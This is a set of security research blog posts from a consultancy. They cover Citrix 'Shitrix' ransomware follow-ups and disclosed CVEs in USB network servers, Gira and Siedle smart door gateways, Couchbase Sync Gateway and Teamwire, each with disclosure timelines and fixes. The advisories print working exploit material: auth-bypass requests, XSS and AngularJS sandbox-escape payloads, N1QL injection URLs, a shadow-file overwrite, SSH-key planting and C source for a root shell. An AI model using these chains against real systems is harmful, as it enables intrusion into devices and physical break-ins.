Warning: Current Ransomware Attacks As a Result of Shitrix

By Folker Schmidt and Daniel Jedecke

Months after the appearance of the critical vulnerability in Citrix Application Delivery Controller (ADC) and NetScaler Gateway (CVE-2019-19781, also known as „Shitrix“), more and more cases are now becoming known where the vulnerability was exploited very early on, but was not used for extortion until much later, and ongoing.

Our incident responders found that in a critical period in early 2020, backdoors were installed in some cases, which are actively exploited now, 8 months later, for ransomware attacks. In many cases, the attackers have not even bothered to adapt the known proofs-of-concept of the „Project Zero India“ group. In the cases known to us, the user „pwnpzi1337“ was created, which was used in the original PoC.

The subsequent steps of the attack are basically the same as they were before, network discovery, lateral movement within the network (for example using Dridex or Cobalt-Strike), data exfiltration, and later encryption of the data e.g. via DoppelPaymer.

However, there is a multitude of other conceivable malware variants on the market. Due to the current wave of attacks, every administrator and system administrator is strongly recommended to check their Citrix NetScaler systems in particular for possible new users or conspicuous network activity. A check of the folder /var/vpn/bookmark is definitely recommended, since the XML files smuggled in by the attacker can be found there. As a quick check for possible compromise, the instructions under http://deyda.net/index.php/en/2020/01/15/checklist-for-citrix-adc-cve-2019-19781 have proved to be helpful.

If there is any doubt about the integrity of the system, our forensic experts recommend rebuilding the system, which is the standard procedure for ransomware attacks. We are happy to refer to the recommendations of the German BSI (Federal Cyber Security Agency). Back in January 2020, the BSI issued a Citrix vulnerability warning (see CSW No. 2020-172597-1531, Version 1.5, 30.01.2020 and https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2020/Citrix_Schwachstelle_160120.html), which contains, among other helpful bits, the following measures:

  • Disconnection from network of the compromised Citrix instance
  • Backup of the old Citrix instance (entire system, or at least the log files under /var/log/*)
  • Restart of Citrix instance with the latest build of the respective version branch and implementing the workaround (workaround recommendation when no patches were available yet)
  • Creation of new SSL/TLS certificates, recall of old SSL/TLS certificates
  • Resetting of all Windows Active Directory passwords if the Citrix user group cannot be restricted
  • Depending on the network connection, check the Windows domain for further compromises
  • If wildcard SSL certificates (*.example.com) were used on a compromised Citrix system, all other systems using the wildcard certificate must be taken into account in the certificate exchange mentioned above.

Citrix administrators should always subscribe to Citrix security bulletins with notices of new firmware versions to receive information about new firmware updates

The German Alliance for Cyber Security has recommended further action. These can be found at https://www.allianz-fuer-cybersicherheit.de/SharedDocs/Downloads/Webs/ACS/DE/Ransomware/Ransomware_Massnahmenkatalog.html.

It is also important to note in this case that the attackers could potentially move around the network unnoticed for months, which could jeopardize the integrity of backups that have been made long ago. Special care must be taken here when restoring affected systems.

At the beginning of August 2020, still around 200 vulnerable Citrix systems in Germany were accessible from the Internet (https://twitter.com/certbund/status/1291017699351580675). The number of systems that are secured but have already implemented a backdoor cannot be quantified.

High-Impact Vulnerabilites In Multiple USB Network Servers

Within the scope of a recent penetration test and through individual research effort, HiSolutions‘ security consultants discovered multiple previously unknown high-impact vulnerabilities in USB network server firmwares (see individual issues for the CVE IDs). Devices of multiple vendors were affected by similar vulnerabilities. HiSolutions responsibly disclosed the vulnerabilities to the vendors and additionally provided feedback on the implemented patches.

Background Information

USB network servers or USB network MTP and printer servers are devices that can be used to make USB devices accessible to multiple users via the network. Users install a software on their client and can then access USB devices without the need to physically plug the device into the local system. If devices are used by multiple users the devices do not have to be transfered between different systems each time the user changes. Use cases include shared USB network drives, USB Printers, or USB license dongles that can be used by authenticated users on the local network. All of the investigated devices were provided with an individual client software that runs on the local systems. All systems also exposed a web server that could be used to make administrative changes to the system.

The Vulnerabilities

HiSolutions consultants discovered four noteable vulnerabilities in each of the investigated devices.
The devices were:

  • TP-Link TL-PS310U (version v2.000, fixed in 2.079.000.t0210)
  • Digitus da-70254 (version 2.073.000.E0008)
  • Lindy No. 42633 (version v.2.078.000)
  • one other reviewed device of an (at this time) undisclosed vendor

Exposure of the Administrative Password Over Network Broadcast

The following CVE IDs were issued for this vulnerability: CVE-2020-15054 (TP-Link), CVE-2020-15058 (Lindy), CVE-2020-15062 (Digitus).

The USB network servers send the password of the local administrator account repeatedly and without request across the local Network via UDP broadcast. Every system on that network can read the password from these unencrypted broadcasts. The password is sent in UDP packets to the broadcast address 255.255.255.255 as can be seen in the following packet capture:

wireshark packet capture screenshot of administrative password in udp network traffic
Figure 1: UDP broadcast of the administrative password „PASSWORDABC“.

All systems in the local network receive the administrative password. In theory, the password is then used to locally check against the password entered by the client on the local system. In practice, an attacker can easily retrieve the password from the UDP broadcast messages and thus
circumvent the access restrictions to the administrative interface. The attacker then can use all functions provided by the USB network server, including restricted ones. If the password is reused (which is strongly discouraged but often the case) this design error could give an attacker access to other systems that use the same password.

Authentication Bypass in Web Administration Interface

The following CVE IDs were issued for this vulnerability: CVE-2020-15055 (TP-Link), CVE-2020-15059 (Lindy), CVE-2020-15063 (Digitus).

In some cases the password authentication requirement in the web interface can be bypassed when the password parameter is removed from the request. This enables an unauthenticated user to access privileged functions on the interface.
As an example, the following request will change the server name, a functionality that would normally only be available if the configured password was provided:

POST /csystem33.htm HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/csystem33.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: close
Upgrade-Insecure-Requests: 1
%24A0%24=New+Name+No+Password&%24B2%24=38&%24B3%24=39 

As is visible in the request, no password is provided and the corresponding Parameter is removed entirely. Without the password parameter the authentication does not fail, but instead the server simply implies that no password was set, thus allowing the operation without any user authentication.

Because of that, unauthenticated users can access administrative functions on the system without knowledge of the administrative password, therefore bypassing the authentication. This effectively disables the access control for the entire administrative interface.

Persistent Cross-Site Scripting

The following CVE IDs were issued for this vulnerability: CVE-2020-15056 (TP-Link), CVE-2020-15060 (Lindy), CVE-2020-15064 (Digitus).

The parameter for the server name is vulnerable to a stored Cross-Site Scripting (XSS) attack. This results in the possibility for an attacker to execute JavaScript code in the context of the victims browser.

If the corresponding request is sent to the server, the server name gets embedded into the JavaScript file unfiltered and unescaped:

var myServer = new Server();
myServer.model = '';
myServer.manuf = '';
myServer.name = 'TestName';alert('Successful XSS');//';
myServer.hw = 'V. 2.000';
//myServer.tempFW = '2.255.255';
tempFWVersion = '';
myServer.fw = tempFWVersion.substring(0,1) + '.' +
tempFWVersion.substring(1,3);
myServer.mac = '34:e8:94:20:47:78';

The vulnerability allows attackers to execute JavaScript code in the context of the browser of the victim by manipulating the stored server name. Attackers in the local network could insert a custom script that is loaded each time an administrator visits the web administration interface. They can thereby gain persistent access to the web interface and attack other systems in the local network through the browser of the victim.
Normally, administrative access to the web interface would be needed to exploit this vulnerability, which would lower the impact. In combination with other vulnerabilities (like the authentication bypass) this exploit works for all users with access to the system.

Denial of Service

The following CVE IDs were issued for this vulnerability: CVE-2020-15057 (TP-Link), CVE-2020-15061 (Lindy), CVE-2020-15065 (Digitus).

Users can crash the USB network servers by sending long input values. For some lengths, the servers hang or act unexpectedly. while longer input values (e.g. 1103 characters) will crash them entirely. A reboot or sometimes reset of the device is needed to clear the issue.

After receiving too long input values the system no longer responds to network requests. The UDP broadcasts show that when setting a long server name other variables were most likely overwritten:

Wireshark packet capture screenshot of the buffer overflow from the server name
Figure 2: Buffer overflow from the server name (top: normal, bottom: after attack)

An attacker can use the buffer overflow vulnerability to impact the availability of the server. The shown behaviour indicates that the buffer overflow could also be used to execute functions or code on the system. This possibility was not investigated during the project.

Remediation

The vendors TP-Link and Lindy provided an updated firmware that fixes the vulnerabilities.

When using a device for which no patch is available, make sure that the chosen password is not reused on any other system or application.
Access to the devices could also be restricted on network level to limit the possibility of an attacker accessing the web interface or sniffing the broadcast traffic.

Responsible Disclosure Timeline

The vulnerabilities were reported to each of the vendors via e-mail. It was made clear that HiSolutions will follow defined responsible disclosure policy and aims to release information about the vulnerabilities in coordination with the vendor.
Each but one vendor reacted to the initial contact and in the following dialogue was provided with additional information on the vulnerabilities.
The vendors named in this advisory provided patches to mitigate the security issues. Hisolutions tested the patches for their effectiveness until the discovered vulnerabilities were closed and follow-up problems solved adequately.

Open the Gates! The (In)Security of Cloudless Smart Door Systems

For many attack types physical access to the computer like plugging in a „Rubber Ducky“ or inserting a physical keylogger is required. As access to servers and computers is commonly restricted, those threat vectors are often handled via a „When they are already in the room, we are screwed anyway“ perspective. However, what if it were the other way around? What if not your servers, computers and software are dependent on your physical security, but your physical security relies on the security of your computer? With all different kinds of smart door locks, exactly that is the case. We looked into gateway systems which enhance classical doorbell solutions to be controllable from the network (and even Internet) by the user. For two of them, made by Siedle and Gira respectively, we found freely available firmware images and started digging. This post is about what we have found.

(Virtual) HITBAMS20 Talk

Our presentation of this topic was accepted at HITBAMS20’s community security track and we intended to bring the hardware to show live demos. However, due to the Corona/COVID-19 pandemic, the physical conference was cancelled. We still held our presentation at the virtual version of the conference.

Furthermore, we will go through the exploit chains and technical details in this blog post. Later, our recorded demos and the talk will be available here.

What Did We Find?

Enough to break in 😉  We were able to gain root access on both devices and their respective administrative web GUIs. This enabled us to lock out people and gain any (physical) access rights we would desire to doors that are connected to the compromised devices. A more technically detailed explanation of our exploit chain can be found further down in the post.

MITRE assigned a total of five CVEs to us:


  • CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7 is vulnerable to unauthenticated path traversal that allows an attacker to download the application database. This can be combined with CVE-2020-10795 for remote root access.
  • CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7 is vulnerable to authenticated remote code execution via the backup functionality of the web frontend. This can be combined with CVE-2020-10794 for remote root access.
  • CVE-2020-9473: The S. Siedle & Soehne SG 150-0 Smart Gateway before 1.2.4 has a passwordless ftp ssh user. By using an exploit chain, an attacker with access to the network can get root access on the gateway.
  • CVE-2020-9474: The S. Siedle & Soehne SG 150-0 Smart Gateway before 1.2.4 allows remote code execution via the backup functionality in the web frontend. By using an exploit chain, an attacker with access to the network can get root access on the gateway.
  • CVE-2020-9475: The S. Siedle & Soehne SG 150-0 Smart Gateway before 1.2.4 allows local privilege escalation via a race condition in logrotate. By using an exploit chain, an attacker with access to the network can get root access on the gateway.

Responsible Disclosure

We contacted both vendors and informed them about our findings. By now, all the vulnerabilities we found are no longer threats to systems that have been updated correctly. Siedle even provided us with a pre-release test firmware image so we could check whether all the flaws were fixed prior to the release of the update. Overall, we were very happy with the response of both vendors, as it clearly showed that they realized the gravity of the findings. Both vendors immediately verified them in their own setup and addressed the issues professionally.

Gira Exploit Chain

Gira TKS-IP-Gateway without cover

CVE-2020-10794: Unauthenticated Path Traversal in Gira TKS-IP-Gateway 4.0.7.7

When we started investigating the Gira TKS IP-Gateway, we found a path traversal vulnerability in the web interface. Using this we downloaded the /app/db/gira.db file. In this file, there was an md5-hash of the admin password. The hash could easily be brute-forced if the password wasn’t a particularly strong one. Furthermore, with the same vulnerability we downloaded /app/sdintern/messages. That file would yield the password in plaintext if someone had logged into the machine recently. With the obtained credentials we were able to log into the web frontend and reconfigure devices or open any doors which were connected to the device.

CVE-2020-10795: Authenticated Remote Code Execution in Gira TKS-IP-Gateway 4.0.7.7

Now that we had obtained admin privileges on the web interface, we backed up the gira.db. This backup was a TAR-archive, which we could unpack and modify:

sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'" 

The code above places a sed command into the database. The sedheg file in our modified tar archive would replace the password hashes for both the root and the D3.IPGWvG! user. It looked as follows:

#!/bin/sh

s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/

Both users were either root or could have become root with sudo. With that prepared, we packed up the modified files again. Then, we uploaded our backup to the web interface via the restore functionality. This triggered our forged new network setting (marked with ‚==>‘), which was read from the modified sqlite database.

    [...]
    NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`
    [...]
==> HNAME=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $2}'`;
    NS=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $3}'`;
    BOOTMODE=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $4}'`;
    GW=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $5}'`;
    IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;
    NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;

The ‘$HNAME’ variable then was used in a sed command in /app/bin/network.sh.

    echo "0" > /tmp/dhcp
    echo "nameserver 192.168.0.1" > /etc/resolv.conf 
    echo -en "HOSTNAME: $HNAME"
    echo -en ""
    echo "$HNAME" > /etc/hostname
==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf

With this, we changed the root password to something known to us. The last step was to log into the machine, for which we needed the dropbear ssh package. It is an alternative ssh server, but the version present on the device was too old to be compatible with a modern openssh client. With the command dbclient -p<port> root@<ip.address.of.target> we logged in and had full root access on the device.

Siedle Exploit Chain

S. Siedle & Söhne SG 150-0 Smart Gateway without cover

CVE-2020-9473: Passwordless FTP User in S. Siedle & Soehne SG 150-0 Smart Gateway before version 1.2.4

In the case of the Siedle SG-150, our entry point to the system was setting a password for the ftp user. This was possible because the firmware did not contain any password for this user. After setting the password via ssh we used ssh -v -N ftp@<ip.of.the.gateway> -L 1337:127.0.0.1:63601 to bind the internal MySQL database port to our local 1337 port.

We found the static root password for this database, which was ’siedle‘, in some shell scripts and configuration files within the publicly available firmware. With the password and our forwarded port, we accessed the database with administrative privileges with the command mysql -h 127.0.0.1 -u root -P 1337 -psiedle.

The database has different purposes, one being the storage of the credentials for the web application to manage the device. By having root access to the database we were able to add another user with admin privileges for the web application. Now we could control and reconfigure every device connected to the gateway, which granted us the ability to open connected doors.

CVE-2020-9474: Authenticated Remote Code Execution in S. Siedle & Soehne SG 150-0 Smart Gateway before version 1.2.4

This brought us to the next level: Shell access. From the web application, we were able to download a configuration backup file called config.bak. This was a squashfs, which contained, once it was unpacked, a backup.sql file. We generated a ssh key and added the following four lines to the top of the backup.sql file:

\! mkdir /var/lib/mysql/.ssh
\! echo <ssh pulic key> >> /var/lib/sql/.ssh/authorized_keys
\! chmod 0700 /var/lib/mysql/.ssh
\! chmod 0600 /var/lib/mysql/.ssh/authorized_keys

We then rebuilt the squashfs and uploaded it to the web application as a backup, which was used in the restoration process. After a few minutes of waiting for the restore process to finish, we then accessed the device via ssh as the mysql user with our private key, as all commands in our manipulated file were run and the ~/.ssh/authorized_keys files for the mysql user was created.

CVE-2020-9475: Local Privilege Escalation in S. Siedle & Soehne SG 150-0 Smart Gateway before version 1.2.4

To escalate our privileges we used a misconfiguration in the logrotate script. Furthermore we wrote three small programs, namely bind, symlink and root. The source code will be in the appendix of this article. As we already had shell access, we cross-compiled the programs for ARM and copied them to the device.
We wanted to trigger the following part of the MySQL logrotate script:

MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then
    $MYADMIN flush-logs
else
    # manually move it, to mimic above behaviour
    mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old
    # recreate mysql.log, else logrotate would miss it
    touch /var/log/mysql/mysql.log
    chown mysql.mysql /var/log/mysql/mysql.log
    chmod 0664 /var/log/mysql/mysql.log
fi

To trigger this part of the code, we needed to make sure that mysqladmin ping returned a status code other than zero. This would be  only the case if the mysql server were not running. Changing the credentials or even deleting the whole database did not help much as mysqladmin would still return zero. We needed the database to be unavailable. But since it would just be restarted if you shut it down (thanks, systemd!), we needed it to hang somewhere along the way. This is where the first exploit program came in: bind. We used it to bind itself to the static port, which the mysql database was using:

while true; do ./bind 63601; sleep 1; done

In a second terminal we shut down the database, which then on startup would hang when trying to bind itself to its port. Because mysql would release the port between shutdown and startup, we were able to race in between and block the port with our program. This way mysqladmin returned one and we got to execute the else condition.

We then needed our second program: symlink. The goal now was to create a file inside /etc/logrotate.d/ that we could control and write into, as logrotate would execute all scripts inside that directory as the root user. To achieve said goal we raced the logrotate script, which cleans the MySQL log file, and managed to create a symlink from /var/log/mysql/mysql.log to a file called /etc/logrotate.d/rootme between the mv and touch. Rootme did not exist at that point but that did not matter. Following the symlink, logrotate created the file /etc/logrotate.d/rootme as root and then used chown to give it to the mysql user. In order to stop mysql from writing into our prepared file, we removed the symlink and created a new /var/log/mysql/mysql.log for it. Afterwards, we filled the /etc/logrotate.de/rootme with the following content:

/var/log/mysql/rootme.log {
        delaycompress
        nosharedscripts
        copy
        firstaction
            chown root:root /tmp/root
            chmod +s /tmp/root
            mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
            touch /var/log/mysql/rootme.log
            chown mysql.mysql /var/log/mysql/rootme.log
            chmod 0664 /var/log/mysql/rootme.log
         fi
        endscript
        lastaction
            mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
        endscript
}

The program /tmp/root was our third program and our suid root shell. After having done all that, we had to fill the /var/log/mysql/rootme.log and trigger logrotate again. Our suid binary now had root privileges and could be used in the following way: /tmp/root passwd root. Now we could change the password of the root user and from then on have full control over the system.

About the Researchers

We are a group of working students at HiSolutions. This research was conducted by Julian Beier, Sebastian Neef, Lars Burhop and Viktor Schlueter. During the semester, we study at the Technische Universität Berlin and work part time at HiSolutions. During the semester holiday we have more time at hand, which enables us to do some bigger projects, such as this. Last but not least we participate in CTF contests with our friends from the Research Group Computer Security (AG Rechnersicherheit) in our free time.

Appendix

bind.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

void error(const char *msg) {
    perror(msg);
    exit(1);
}

int main(int argc, char **argv) {
     int sockfd, newsockfd, portno, pid;
     socklen_t clilen;
     struct sockaddr_in serv_addr, cli_addr;

     if (argc < 2) {
         fprintf(stderr,"ERROR, no port provided\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);

     if (sockfd < 0) 
        error("ERROR opening socket");

     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
         error("ERROR on binding");
     listen(sockfd,5);
     accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
     return 0;
}

symlink.c

#include <unistd.h>

int main(int argc, char **argv) {
  int ret;

  char *watchPath = argv[1];
  char *linkPath = argv[2];

  while(1) {
      ret = symlink(linkPath, watchPath);
      if (ret == 0)
        return 0;
  }
  return 0;
}

root.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

char *join_command(char **commands) {
    char *res = (char *)malloc(strlen(commands[0]));
    strncpy(res, commands[0], strlen(commands[0]));

    for (char **command = ++commands; *command != NULL; command++) {
        res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
        strcat(res, " ");
        strcat(res, *command);
    }
    return res;
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage: ./root <command>");
    }

    setuid(0);
    setgid(0);
    system(join_command(++argv));

    return 0;
}

N1QL Injection in Couchbase Sync Gateway – CVE-2019-9039

Within the scope of a recent penetration test, HiSolutions security consultants encountered a Couchbase Sync Gateway and discovered a previously unknown, high-impact injection vulnerability (CVE-2019-9039).

Background Information

The Couchbase Sync Gateway is a product developed by Couchbase Inc. as part of their mobile product portfolio. It is used to connect web, mobile, and IoT apps (Couchbase Lite) to the backend database (Couchbase Server). The publically accessible Sync Gateway synchronizes the data with the internal backend database servers and employs various security and integration features.

Couchbase uses a database query language called N1QL (https://www.couchbase.com/products/n1ql ) (pronounced “nickel”). N1QL extends SQL for JSON. It combines the syntax of traditional SQL with the benefits and flexibility of NoSQL databases.

From a security standpoint, N1QL is comparatively unexplored. SQL injections are a well-known and broadly explored security risk for traditional SQL databases. With increased use of NoSQL databases, NoSQL injection has become a more widely known topic as well. For both vulnerabilities, numerous tools, articles and presentations exist that detail every aspect of exploitation.

N1QL Injections

A 2015 blog post (https://blog.couchbase.com/couchbase-and-n1ql-security-centeredgesoftware/) discusses various aspects of N1QL injections. N1QL is claimed to be more resistant to injection attacks than traditional SQL. This is due to the following syntactic differences:

  • Query stacking is not possible in N1QL. That is, terminating a previous query with a semicolon and appending another query will result in an invalid syntax error in N1QL.
  • N1QL does not allow commenting out just the remainder of a line. N1QL only allows C-style comment blocks (/* comment */). This prevents an attacker from terminating a query by inserting “/*” or “–“ at the injection point.

The blog post also mentions generic advice for preventing injections. Apart from that, information regarding N1QL injections is very sparse.

The vulnerability

HiSolutions consultants discovered that the Couchbase Sync Gateway in combination with a Couchbase Server is affected by a previously undisclosed N1QL-injection vulnerability in the REST API. An attacker with access to the public REST API can insert additional N1QL statements through the parameters “startkey” and “endkey” of the “_all_docs” endpoint.

The following request triggers an error:

https://host:port/{db}/_all_docs?startkey=1%271&endkey=

The client will receive the following error statement indicating a N1QL error:

{"rows":[
{"error":"Internal Server Error","reason":"Internal error: [3000] syntax error - at 1"}

On a server with the standard installation of Couchbase Server and Couchbase Sync Gateway, the following error will appear in the logfile:

2019-02-15T14:00:51.892+01:00 [WRN] Error when querying index using
statement: [SELECT META(`test-getting-started`).id as id,
meta(`test-getting-started`).xattrs._sync.rev as r,
meta(`test-getting-started`).xattrs._sync.sequence as s,
meta(`test-getting-started`).xattrs._sync.channels as c FROM
`test-getting-started` WHERE meta(`test-getting-started`).xattrs._sync.sequence
> 0 AND META(`test-getting-started`).id NOT LIKE '\\_sync:%' AND
meta(`test-getting-started`).xattrs._sync IS NOT MISSING AND
(meta(`test-getting-started`).xattrs._sync.flags IS MISSING OR
BITTEST(meta(`test-getting-started`).xattrs._sync.flags,1) = false) AND
META(`test-getting-started`).id >= '1'1' ORDER BY META(`test-getting-started`).id] --
base.(*CouchbaseBucketGoCB).Query() at bucket_n1ql.go:63

The error (injection point at ‚1‘1′ near the bottom) shows that it is possible to break out of the original query and insert additional N1QL code. An additional character after the apostrophe seems to be required to trigger the error.

Furthermore, it is possible to end the current query and thereby skip the rest of the original query by inserting a null byte at the end of the manipulated parameter value.

The insertion of an additional comparison can be used to validate the injection. When inserting an additional requirement that is always true (“AND 1=1”), the original results are returned:

/{db}/_all_docs?startkey=123%27%20AND%201%3d1%00&endkey=

Inserting a statement that always evaluates to false (“AND 1=0”) yields no results:

/{db}/_all_docs?startkey=123%27%20AND%201%3d0%00&endkey=

The following request can be used to extract additional information from a default installation:

/{db}/_all_docs?startkey=123%27%20UNION%20ALL%20SELECT
%20TOSTRING(BASE64_DECODE("U1FMLUl
uamVjdGlvbg=="))%20as%20id%3b%00&endkey=

The inserted N1QL statement “UNION ALL SELECT TOSTRING(BASE64_DECODE(„U1FMLUluamVjdGlvbg==“)) as id” adds the following line to the output and shows that N1QL functions and queries are evaluated:

{"rows":[
{"key":"SQL-Injection","id":"SQL-Injection","value":{"rev":""}}
...

The same injection works for the parameter “endkey”.

Additional modification of the query seems to be required to make UNION-injections work when channels and users are set up for the database. Data extraction methods that rely on comparisons will work as shown.

Impact:

An attacker with access to the public REST API is able to issue additional N1QL statements and extract sensitive data or call arbitrary N1QL functions. By issuing nested queries with CPU-intensive operations, he might be able to cause increased resource usage and denial of service conditions.

Remediation:

Traditional remediations for SQL injection vulnerabilities also apply to N1QL. Features like parameterized N1QL queries should be used to prevent the injection of N1QL statements into the original query.

As the vulnerability exists in the default Couchbase Sync Gateway, an update will fix the problem. HiSolutions has responsibly reported the issue to the vendor. The fix is available in Sync Gateway v2.5 as well as in v2.1.3.

Short-term remediation can be implemented by blocking all requests containing “startkey” or “endkey” on the web-interface.

Responsible Disclosure Timeline

15.02.2019 – HiSolution initially notifies security@couchbase.com with vulnerability details and the internal responsible disclosure guideline.

20.02.2019 – Couchbase acknowledges the vulnerability and states that an engineering team is working on the issue. Couchbase offers to help with the CVE request to MITRE.

23.02.2019 – HiSolutions inquires whether the engineering team was able to reproduce the issue and requests an ETA for a patch. HiSolutions notifies Couchbase that a CVE number was requested.

23.02.2019 – MITRE assigns CVE-2019-9039 for the vulnerability.

26.02.2019 – Couchbase sends an email to HiSolutions with their assessment of the CVSS (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L). Couchbase states in this email that a patch is under development and that they will follow up with an ETA. Couchbase requests the CVE number.

26.02.2019 – HiSolutions sends the CVE number to Couchbase and questions the assessed CVSS. User interaction should be “none” from HiSolutions perspective (CVSS v3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L).

26.02.2019 – Couchbase explains their assessment of the CVSS and states that they will follow up an ETA for the patch.

25.03.2019 – HiSolutions inquires  if an ETA is available and explains the assessment of the User Interaction CVSS vector.

12.04.2019 – HiSolutions inquires if the last email was received successfully. HiSolutions reminds Couchbase that the issue is scheduled for disclosure on 21.05.2019 and request to be notified if more time is needed by Couchbase.

15.04.2019 – Couchbase apologizes for the delayed response. The patch for the Sync Gateway is expected at the end of April. Couchbase agrees to a public disclosure on 21.05.2019. Couchbase informs HiSolutions that they will list the issue on a changed website under https://www.couchbase.com/resources/security within a table containing all vulnerabilities, fix release dates, versions, and affected products.

14.05.2019 – HiSolutions notices that the patch is applied in the latest public version. HiSolutions sends an inquiry regarding the vulnerability table on the website and if 21.05.2019 is still good for the disclosure.

21.05.2019 – HiSolutions postpones the disclosure because no answer was received.

11.06.2019 – HiSolutions inquires regarding the table on the website and a new disclosure date. A delivery failure for the contact address of the initial contact within the security team is received. The email is resent to the security team with the request for an answer by another team member.

12.06.2019 – Couchbase replies that the fix is included in Sync Gateway v2.5 as well as in v2.1.3. The release notes for both products will be updated in the following days to include a reference to the vulnerability. Couchbase is actively working on the vulnerability table. While unclear if the table will be finished until 21.06.2019, HiSolutions can disclose the issue on 21.06.2019 if Couchbase has updated the release release notes until then.

Further references

https://docs.couchbase.com/dotnet-sdk/2.2/prepared-statements.html https://docs.couchbase.com/java-sdk/2.7/n1ql-query.html#devguide-named-placeholders

Web vulnerabilities are coming to the Desktop – Template Injections lead to RCE in Teamwire

TL;DR (Teamwire users): A vulnerability has been found in Teamwire which can allow malicious users to execute commands on victim’s computers by sending a crafted Teamwire message. Upgrade Teamwire to the newest version as soon as possible to fix this vulnerability.

TL;DR (Technical): Template injections are a common vulnerability in web applications. If a desktop application built on a web engine is vulnerable to template injection, this can result in remote code execution on the client system.

Background

Template injection refers to a class of vulnerabilities that exploit the insecure embedding of user controllable data into template engines like AngularJS. Template engines use template files to define the design of a user interface by inserting special placeholders into a text. The template engine then dynamically replaces the placeholders with data at runtime, referred to as “rendering” the template. Many modern template engines even support carrying out complex computations inside the templates themselves. If an attacker embed one of these placeholders into a template, he can often execute functions in the underlying programming language.

To help support cross-platform compatibility, software vendors started embedding web engines into client desktop applications, thus removing the need to develop native applications for all different client platforms. NW.js is a technology that combines the browser engine WebKit with the JavaScript framework Node.js, and is often used to create cross-platform applications. This combination enables users to call Node.js functions directly from the DOM of the embedded Chromium browser.

For web applications, template injections are well known problem. Due to the increasing use of web technologies for the rapid development of client applications, this class of vulnerabilities has begun to manifest itself on the desktop too.

Teamwire is a “fast, intuitive and secure enterprise messaging app” for businesses. Teamwire clients are available for iPhone, iPad, Android, Windows Phone, Windows PC, Mac OS and Linux.

HiSolutions researchers have found two distinct template injection vulnerabilities during an internal security assessment of the Teamwire messaging platform (clients on Windows and the administrative interface), which could be used to target end users or platform administrators.

Technical Background

Teamwire is built on AngularJS. Angular implements a secure sandbox to attempt to prevent attacks even if user input is insecurely embedded in templates. As the sandbox was repeatedly bypassed, AngularJS developers decided that the effort was futile and shifted the responsibility back to  application developers. Currently, bypasses exist for all AngularJS Versions that enable an attacker to escape from the sandbox and execute arbitrary JavaScript commands.

Template injections in AngularJS can be illustrated as follows: If an attacker succeeds in inserting placeholder string, delineated with double curly brackets ( “{{…}}” ) into a template inside the application, any operations inside the brackets will be carried out when the template is rendered. In this case, inserting {{77*77}} into the name field (left) results in the product (5929) being displayed in the rendered display (right).

The expression „77*77“ evaluates to „5929“ when the template is rendered.

To bypass the sandbox in AngularJS 1.6.8, which is used by Teamwire, the following template string can be used:

{{constructor.constructor(‚###JavaScript-Code-Here###‘)()}}

Vulnerability Details

Stored XXS in Admin Web Interface – CVE-2018-17560

Users can change their displayed usernames in the Teamwire clients without any restrictions. A user could therefore change his username to include a template string:

his {{constructor.constructor(‚document.body.style.backgroundColor = „green“;‘)()}}

Our researchers found that when an administrator views the user inside the administrative web panel, the username is embedded insecurely (i.e. without encoding the placeholder to prevent execution) into the web page and the JavaScript code in the string is executed.

The example payload above only changes the background color of the HTML page, but a malicious user could insert arbitrary JavaScript code to be executed in the browser. An attacker could for example try to take over an administrator’s session or try to execute actions with admin rights in the web portal.

Attempting to delete the “malicious” user also triggers the vulnerability, as the admin must first view the user in the web interface to be able to delete them.

Desktop Client RCE – CVE-2018-17170

